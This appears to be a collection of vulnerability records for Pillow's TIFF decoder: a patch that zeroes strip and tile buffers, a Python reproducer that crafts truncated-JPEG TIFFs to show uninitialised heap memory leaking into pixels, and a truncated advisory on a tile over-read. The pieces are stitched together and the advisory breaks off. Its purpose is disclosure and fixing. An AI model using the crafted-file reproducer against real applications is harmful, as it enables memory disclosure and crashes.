len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == "libtiff" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open("Tests/images/g4_orientation_1.tif") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ## The reproducer Reproducer — repro, 2,688 bytes (click to open) Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG. python #!/usr/bin/env python3 # Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never # initialised, and copied whole into the image even when libtiff's JPEG codec decoded # fewer rows than RowsPerStrip/TileLength. Two independent signals: # pass 1 (normal heap): seed freed 64 KiB chunks with b"LEAK" just before load() and # count copies of LEAK in the decoded pixels (file contains no such bytes); # pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is # 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get("MALLOC_PERTURB_") == "170" if not perturbed: print("Pillow", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new("L", (W, jpeg_rows), 200).save(j, "JPEG"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", *t) for t in tags) return b"II*\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j bug = False for tiled in (False, True): for jpeg_rows, label in ((H, "well-formed"), (ROWS, "crafted")): data = tiff(jpeg_rows, tiled); assert b"LEAK" not in data im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff" junk = [bytearray(b"LEAK" * (W*H//4)) for _ in range(6)]; del junk; gc.collect() im.load() # no exception for either file below = im.tobytes()[W*ROWS:] n55, nleak = below.count(0x55), below.count(b"LEAK") print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} " f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', " f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}") if jpeg_rows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, "MALLOC_PERTURB_": "170"}, capture_output=True, text=True) lines = r.stdout.rstrip().split("\n") print("\n".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == "BUG" print("BUG" if bug else "OK") ---
pillow	12.3.0	CVE-2026-112395	13.0.0	### Summary Pillow's libImaging _decodeTile decoder, used to decode tiled TIFF images, allocates a per-tile buffer using realloc(state->buffer, TIFFTileSize(tiff)). After each TIFFReadTile it then iterates tile_y from 0 up to current_tile_length and calls the configured row unpacker (here copy4) with the source pointer state->buffer + tile_y * row_byte_size. When libtiff returns a tile_bytes_size smaller than the worst-case row_byte_size * tile_length, the inner stride-and-copy loop walks past the realloc'd region and copy4 performs a 1024-byte memcpy that reads up to (tile_length-1) * row_byte_size + row_byte_size bytes from a buffer sized only to tile_bytes_size. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the _decodeTile path. The function: 1. Asks libtiff for TIFFTileSize(tiff) (the bytes-per-tile) and TIFFTileRowSize(tiff) (the bytes per row as stored by libtiff). 2. Reallocates state->buffer to exactly tile_bytes_size. 3. For each tile origin (x, y) and each plane, calls TIFFReadTile into state->buffer, then walks the tile row by row, calling the configured ImagingShuffler (here copy4) on each row's worth of source bytes. The validation done before the loop is: c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } This rejects oversized libtiff tiles, but it does not reject undersized ones — i.e. the case where libtiff returns a tile_bytes_size strictly less than row_byte_size * tile_length. The loop body, however, indexes into the buffer assuming the buffer is at least row_byte_size * tile_length bytes long. ### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 — _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsiz